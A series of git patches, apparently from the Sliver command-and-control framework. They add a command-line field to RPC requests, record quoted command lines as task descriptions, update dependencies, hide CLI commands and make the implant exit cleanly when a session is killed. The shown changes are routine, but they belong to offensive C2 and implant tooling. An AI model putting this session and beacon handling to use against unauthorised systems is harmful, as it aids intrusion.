0x49, 0x44, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, - 0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, - 0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, - 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, - 0x79, 0x6e, 0x63, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, - 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, - 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, - 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, - 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, - 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, - 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, - 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x8d, 0x01, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, + 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x66, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, + 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x61, + 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x61, 0x73, 0x6b, + 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, + 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, + 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, + 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, + 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, + 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( diff --git a/protobuf/commonpb/common.proto b/protobuf/commonpb/common.proto index 9dfeaeb8eb..ef5a784c42 100644 --- a/protobuf/commonpb/common.proto +++ b/protobuf/commonpb/common.proto @@ -15,6 +15,7 @@ message Request { string BeaconID = 8; string SessionID = 9; + repeated string CmdLine = 10; } // Response - Common fields used in all gRPC responses. Note that the Err field @@ -48,4 +49,4 @@ message Process { message EnvVar { string Key = 1; string Value = 2; -} \ No newline at end of file +} diff --git a/server/cli/cli.go b/server/cli/cli.go index 051a604936..953317c72d 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -102,6 +102,7 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra root = server() root.Use = "sliver-server" // Needed by completion scripts. + con.IsServer = true // Bind the closed-loop console: // The console shares the same setup/connection pre-runners as other commands, diff --git a/server/rpc/rpc.go b/server/rpc/rpc.go index 2819e701de..b693edff1f 100644 --- a/server/rpc/rpc.go +++ b/server/rpc/rpc.go @@ -21,9 +21,15 @@ package rpc import ( "context" "errors" - "strings" "time" + "google.golang.org/grpc/credentials" + "google.golang.org/grpc/peer" + "google.golang.org/protobuf/proto" + "google.golang.org/protobuf/reflect/protoreflect" + + "github.com/kballard/go-shellquote" + "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/protobuf/sliverpb" @@ -31,10 +37,6 @@ import ( "github.com/bishopfox/sliver/server/db" "github.com/bishopfox/sliver/server/log" "github.com/reeflective/team/server" - "google.golang.org/grpc/credentials" - "google.golang.org/grpc/peer" - "google.golang.org/protobuf/proto" - "google.golang.org/protobuf/reflect/protoreflect" ) var rpcLog = log.NamedLogger("rpc", "server") @@ -151,9 +153,13 @@ func (rpc *Server) asyncGenericHandler(req GenericRequest, resp GenericResponse) rpcLog.Errorf("Database error: %s", err) return ErrDatabaseFailure } - parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".") - name := parts[len(parts)-1] - task.Description = name + // Save the command-line being ran as description instead, and preserve quoting. + // Currently this is not optimal, as it uses a UNIX-style quoter. I've found + // other packages that handle all operating systems, such as https://github.com/apparentlymart/go-shquot. + task.Description = shellquote.Join(request.GetCmdLine()...) + // parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".") + // name := parts[len(parts)-1] + err = db.Session().Save(task).Error if err != nil { rpcLog.Errorf("Database error: %s", err) diff --git a/server/transport/middleware.go b/server/transport/middleware.go index 51108e25d9..ae5227c08f 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -23,9 +23,6 @@ import ( "encoding/json" "errors" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" "github.com/reeflective/team/server" grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" @@ -37,6 +34,10 @@ import ( "google.golang.org/grpc/credentials" "google.golang.org/grpc/peer" "google.golang.org/grpc/status" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/core" + "github.com/bishopfox/sliver/server/db" ) // bufferingOptions returns a list of server options with max send/receive diff --git a/server/transport/server.go b/server/transport/server.go index 5d1f5b5834..e0664235f1 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -89,7 +89,7 @@ func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err err // It returns a teamclient meant to be ran in memory, with TLS credentials disabled. func clientOptionsFor(server *teamserver, opts ...grpc.DialOption) []grpc.DialOption { conn := bufconn.Listen(bufSize) - insecureCreds := insecure.NewCredentials() + insecureCreds := insecure.NewCredentials() ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { return conn.Dial() From 85cf0860c0414c782444871458bf19de9234939f Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 19 Aug 2023 19:04:11 +0200 Subject: [PATCH 104/124] Update console dependency with fixes --- go.mod | 7 ++----- go.sum | 4 ++-- .../reeflective/console/commands/readline/bind.go | 5 +++-- .../reeflective/console/commands/readline/commands.go | 3 ++- .../reeflective/console/commands/readline/completers.go | 5 +++-- .../reeflective/console/commands/readline/export.go | 3 ++- .../reeflective/console/commands/readline/set.go | 7 ++++--- vendor/github.com/reeflective/console/completer.go | 3 ++- vendor/github.com/reeflective/console/menu.go | 3 ++- vendor/modules.txt | 2 +- 10 files changed, 23 insertions(+), 19 deletions(-) diff --git a/go.mod b/go.mod index 8f6056eff5..1c49d2ebb0 100644 --- a/go.mod +++ b/go.mod @@ -7,9 +7,6 @@ go 1.21 // and is regularly maintained up-to-date with upstream. Should be removed long-term. replace github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d -// Team is the teamserver/teamclient library, and this directive should be removed. -// replace github.com/reeflective/team => /home/user/code/github.com/reeflective/team - require ( filippo.io/age v1.1.1 github.com/AlecAivazis/survey/v2 v2.3.7 @@ -29,6 +26,7 @@ require ( github.com/gorilla/mux v1.8.0 github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 github.com/jedib0t/go-pretty/v6 v6.4.6 + github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f github.com/klauspost/compress v1.16.6 github.com/lesnuages/go-winio v0.4.19 @@ -38,7 +36,7 @@ require ( github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 github.com/ncruces/go-sqlite3 v0.8.4 - github.com/reeflective/console v0.1.7 + github.com/reeflective/console v0.1.8 github.com/reeflective/readline v1.0.9 github.com/reeflective/team v0.1.1 github.com/rsteube/carapace v0.43.0 @@ -128,7 +126,6 @@ require ( github.com/josharian/intern v1.0.0 // indirect github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect github.com/jsimonetti/rtnetlink v1.3.2 // indirect - github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/mailru/easyjson v0.7.7 // indirect diff --git a/go.sum b/go.sum index 1cee59433f..350744e98a 100644 --- a/go.sum +++ b/go.sum @@ -343,8 +343,8 @@ github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9K github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d h1:RK0OaQs+3CMJnfXc5SNEg+Kbu4A2AVljPuG5/HcaUdM= github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.7 h1:nCuWfWv5x6B9T1XSko/2LdFQSftiwnE+NpNvKDFXw2I= -github.com/reeflective/console v0.1.7/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= +github.com/reeflective/console v0.1.8 h1:PZaQxh53zBNqB968RBnRRpUlQNhktZxEYKHhMUaifqU= +github.com/reeflective/console v0.1.8/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= github.com/reeflective/readline v1.0.9 h1:ZA+V4HIWonwn8B4gUaaKwPtBogch19qgdk1I+hqULdk= github.com/reeflective/readline v1.0.9/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go index a370360d1c..2af32deb5f 100644 --- a/vendor/github.com/reeflective/console/commands/readline/bind.go +++ b/vendor/github.com/reeflective/console/commands/readline/bind.go @@ -6,10 +6,11 @@ import ( "os" "strings" - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) // Bind returns a command named `bind`, for manipulating readline keymaps and bindings. diff --git a/vendor/github.com/reeflective/console/commands/readline/commands.go b/vendor/github.com/reeflective/console/commands/readline/commands.go index e3ec1bf03b..cb89c6c650 100644 --- a/vendor/github.com/reeflective/console/commands/readline/commands.go +++ b/vendor/github.com/reeflective/console/commands/readline/commands.go @@ -1,8 +1,9 @@ package readline import ( - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Commands returns a command named `readline`, with subcommands dedicated diff --git a/vendor/github.com/reeflective/console/commands/readline/completers.go b/vendor/github.com/reeflective/console/commands/readline/completers.go index c384db29e0..135a121bec 100644 --- a/vendor/github.com/reeflective/console/commands/readline/completers.go +++ b/vendor/github.com/reeflective/console/commands/readline/completers.go @@ -22,10 +22,11 @@ import ( "fmt" "strings" - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) func completeKeymaps(sh *readline.Shell, _ *cobra.Command) carapace.Action { diff --git a/vendor/github.com/reeflective/console/commands/readline/export.go b/vendor/github.com/reeflective/console/commands/readline/export.go index 0030f15c8a..67f70e9ff2 100644 --- a/vendor/github.com/reeflective/console/commands/readline/export.go +++ b/vendor/github.com/reeflective/console/commands/readline/export.go @@ -23,9 +23,10 @@ import ( "sort" "strings" + "github.com/spf13/cobra" + "github.com/reeflective/readline" "github.com/reeflective/readline/inputrc" - "github.com/spf13/cobra" ) const ( diff --git a/vendor/github.com/reeflective/console/commands/readline/set.go b/vendor/github.com/reeflective/console/commands/readline/set.go index 39c1e51db2..7f8f49b6a0 100644 --- a/vendor/github.com/reeflective/console/commands/readline/set.go +++ b/vendor/github.com/reeflective/console/commands/readline/set.go @@ -5,20 +5,21 @@ import ( "strconv" "strings" - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" "golang.org/x/exp/maps" "golang.org/x/exp/slices" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) var ( // We here must assume that all bind changes during the lifetime // of the binary are all made by a single readline application. // This config only stores the vars/binds that have been changed. - cfgChanged = inputrc.Config{} + cfgChanged = inputrc.NewConfig() ) // Set returns a command named `set`, for manipulating readline global options. diff --git a/vendor/github.com/reeflective/console/completer.go b/vendor/github.com/reeflective/console/completer.go index 374c6eaab7..ad65fadcbd 100644 --- a/vendor/github.com/reeflective/console/completer.go +++ b/vendor/github.com/reeflective/console/completer.go @@ -10,10 +10,11 @@ import ( "unicode" "unicode/utf8" - "github.com/reeflective/readline" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/rsteube/carapace/pkg/xdg" + + "github.com/reeflective/readline" ) func (c *Console) complete(line []rune, pos int) readline.Completions { diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 2159719330..14ed9490bf 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -9,8 +9,9 @@ import ( "sync" "text/template" - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Menu - A menu is a simple way to seggregate commands based on diff --git a/vendor/modules.txt b/vendor/modules.txt index 1489988cec..745ea527d5 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -518,7 +518,7 @@ github.com/pmezard/go-difflib/difflib # github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e ## explicit; go 1.16 github.com/psanford/memfs -# github.com/reeflective/console v0.1.7 +# github.com/reeflective/console v0.1.8 ## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline From 84779eacc0964c8f1b5dde986107575d40035b72 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 26 Aug 2023 19:45:06 +0200 Subject: [PATCH 105/124] Hide some commands in CLI --- client/command/use/commands.go | 2 ++ go.mod | 4 ++++ 2 files changed, 6 insertions(+) diff --git a/client/command/use/commands.go b/client/command/use/commands.go index 80ca6074b1..b3ce01184f 100644 --- a/client/command/use/commands.go +++ b/client/command/use/commands.go @@ -34,6 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.SessionsStr, Short: "Switch the active session", Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), Run: func(cmd *cobra.Command, args []string) { UseSessionCmd(cmd, con, args) }, @@ -45,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.BeaconsStr, Short: "Switch the active beacon", Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), Run: func(cmd *cobra.Command, args []string) { UseBeaconCmd(cmd, con, args) }, diff --git a/go.mod b/go.mod index 1c49d2ebb0..2907323076 100644 --- a/go.mod +++ b/go.mod @@ -5,6 +5,10 @@ go 1.21 // A fork of the completion engine is currently used in order to consume the engine // as a library. The fork is a very slightly patched mainline tree for that purpose, // and is regularly maintained up-to-date with upstream. Should be removed long-term. +// +// To update or try to: +// - You must replace rsteube/carapace v0.43.0 with the version found in the main require. +// - You must replace v0.25.2... with "library", then go mod tidy && go mod vendor. replace github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d require ( From ec6c5451661c7b8c131cb8df490fb0a6d0266f07 Mon Sep 17 00:00:00 2001 From: rkervella Date: Tue, 8 Aug 2023 09:28:52 -0700 Subject: [PATCH 106/124] fix kill for sessions --- implant/sliver/sliver.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/implant/sliver/sliver.go b/implant/sliver/sliver.go index 638c906a9c..02130340e2 100644 --- a/implant/sliver/sliver.go +++ b/implant/sliver/sliver.go @@ -240,6 +240,10 @@ func sessionStartup() { if connection != nil { err := sessionMainLoop(connection) if err != nil { + if err == ErrTerminate { + connection.Cleanup() + return + } connectionErrors++ if transports.GetMaxConnectionErrors() < connectionErrors { return From 89cc659cb013638913a88ec6259e19863c778f31 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 26 Aug 2023 20:25:45 +0200 Subject: [PATCH 107/124] Fix status when killing session --- client/command/sessions/sessions.go | 1 + client/console/console.go | 4 ++++ go.mod | 2 +- 3 files changed, 6 insertions(+), 1 deletion(-) diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index 6913ccb5a9..41dad787e8 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -90,6 +90,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if err != nil { con.PrintErrorf("%s", err) } + con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID) return } diff --git a/client/console/console.go b/client/console/console.go index 3fdc92bbd8..dae16090e1 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -292,6 +292,10 @@ func (con *SliverClient) GrpcContext(cmd *cobra.Command) (context.Context, conte // UnwrapServerErr unwraps errors returned by gRPC method calls. // Should be used to return every non-nil resp, err := con.Rpc.Function(). func (con *SliverClient) UnwrapServerErr(err error) error { + if err == nil { + return nil + } + return errors.New(status.Convert(err).Message()) } diff --git a/go.mod b/go.mod index 2907323076..de0c9f8cb0 100644 --- a/go.mod +++ b/go.mod @@ -6,7 +6,7 @@ go 1.21 // as a library. The fork is a very slightly patched mainline tree for that purpose, // and is regularly maintained up-to-date with upstream. Should be removed long-term. // -// To update or try to: +// To update or try to: // - You must replace rsteube/carapace v0.43.0 with the version found in the main require. // - You must replace v0.25.2... with "library", then go mod tidy && go mod vendor. replace github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d From 0f277714f2c2e90e946bd0149ba2e1ba5debf729 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 26 Aug 2023 20:38:36 +0200 Subject: [PATCH 108/124] Don't add version to offline commands --- client/console/command.go | 1 - 1 file changed, 1 deletion(-) diff --git a/client/console/command.go b/client/console/command.go index ea2a2336ff..037445084a 100644 --- a/client/console/command.go +++ b/client/console/command.go @@ -158,7 +158,6 @@ var offlineCommands = [][]string{ // Sliver-specific {"help"}, {consts.UpdateStr}, - {consts.VersionStr}, {consts.LicensesStr}, {consts.SettingsStr}, } From 287a48b5f51a03a64ca54fbc324abd145f6769b9 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 27 Aug 2023 19:21:09 +0200 Subject: [PATCH 109/124] Update readline version with fixes --- go.mod | 2 +- go.sum | 4 ++-- .../readline/internal/completion/group.go | 14 ++++++++++++-- .../readline/internal/completion/utils.go | 2 +- vendor/modules.txt | 2 +- 5 files changed, 17 insertions(+), 7 deletions(-) diff --git a/go.mod b/go.mod index de0c9f8cb0..e565607606 100644 --- a/go.mod +++ b/go.mod @@ -41,7 +41,7 @@ require ( github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 github.com/ncruces/go-sqlite3 v0.8.4 github.com/reeflective/console v0.1.8 - github.com/reeflective/readline v1.0.9 + github.com/reeflective/readline v1.0.10 github.com/reeflective/team v0.1.1 github.com/rsteube/carapace v0.43.0 github.com/sirupsen/logrus v1.9.3 diff --git a/go.sum b/go.sum index 350744e98a..0dcbd4e83d 100644 --- a/go.sum +++ b/go.sum @@ -345,8 +345,8 @@ github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d h1:RK0OaQs github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= github.com/reeflective/console v0.1.8 h1:PZaQxh53zBNqB968RBnRRpUlQNhktZxEYKHhMUaifqU= github.com/reeflective/console v0.1.8/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= -github.com/reeflective/readline v1.0.9 